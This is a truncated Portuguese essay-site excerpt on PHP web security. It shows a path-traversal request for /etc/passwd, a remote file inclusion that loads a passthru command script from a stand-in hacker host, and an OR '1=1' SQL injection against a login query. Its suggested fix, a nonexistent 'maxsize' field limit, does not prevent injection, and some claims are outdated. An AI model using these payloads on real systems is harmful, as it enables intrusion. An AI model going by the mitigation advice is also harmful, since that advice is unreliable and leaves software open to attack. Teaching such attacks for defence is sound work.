Greicy
Tese: Greicy. Pesquise 862.000+ trabalhos acadêmicosPor: greicynha • 5/5/2013 • Tese • 589 Palavras (3 Páginas) • 289 Visualizações
ificado a extensão do arquivo antes de passar o valor de $link para a função include?
- Os diretórios transversais são permitidos?
- É permitido arquivos remotos?
Se a resposta é não para apenas uma destas perguntas este servidor está a prestes a ser invadido.
Considere o seguinte:
http://exemplo.com.br/exemplo.php?link=../../../etc/passwd
E pronto, todas as senhas do servidor são públicas.
http://exemplo.com.br/exemplo.php?link=paghacker.com.br/exec.php
Onde exec.php contém:
<?php
passthru('id');
passthru('ls -l /etc');
passthru('ping -c l paghacker.com.br');
passthru('echo Você foi hackeado | mail root');
?>
Seu /etc é público ....
Acho que deu para ter uma idéia do que pode ser feito se utilizando desta vulnerabilidade.
Outra vulnerabilidade muito explorada são telas de login tipo usuário e senha, em muitas páginas já encontrei aqueles que incluem as variáveis diretamente a uma string sql, o que torna o login numa piada. Examine o seguinte exemplo:
<input type=text name=login>
<input type=password name=senha>
Isso gera as variáveis $login e $senha. Na página seguinte encontramos:
<?php
$sql = "SELECT * FROM users WHERE user=$login AND pass=$senha";
?>
Perfeito, está pronta a ser invadido, realize se o usuário digitar
OR "1=1" no login e senha, teremos:
<?php
$sql = "SELECT * FROM users WHERE user= OR '1=1' AND pass= OR '1=1'";
?>
Ou seja, $user = a nada OR 1=1 -->passou
$senha = a nada OR 1=1 -->passou
e pode-se fazer muito mais....
E o usuário está conectado ao sistema. Pode parecer ridículo mas o número de páginas em que estas falhas podem ser encontradas são inúmeras pois tem a impressão de que a segurança está apenas a cargo do adminitrador de rede, é óbvio que um servidor bem configurado evita muitas destas vulnerabilidades, mas não dá para confiar.
Para diminiur a vulnerabilidade ou evitar que invasões ridículas como estas aconteçam podemos nos utilizar de pequenos cuidados no código da tela de login por exemplo:
<input type=text name=login maxsize=5>
<input type=password name=senha maxsize=5>
Só isto já ajuda bastante pra começar, o invasor não poderá digitar o que quiser para login, determine limite para seus usuários. Isso é o básico, além disto é preciso usar criptografia para passagem de variáveis, abaixo seguem alguns exemplos:
Este arquivo é o login.php
<?php
if (!$flag) {
?>
<form name="login" action="login.php">
<input type="text" name="login" maxsize="5">
<input type="password" name="senha" maxsize="5">
<input type="hidden" name="flag" value="1">
</form>
<?php
} else {
$log = crypt(strtoupper($login),
...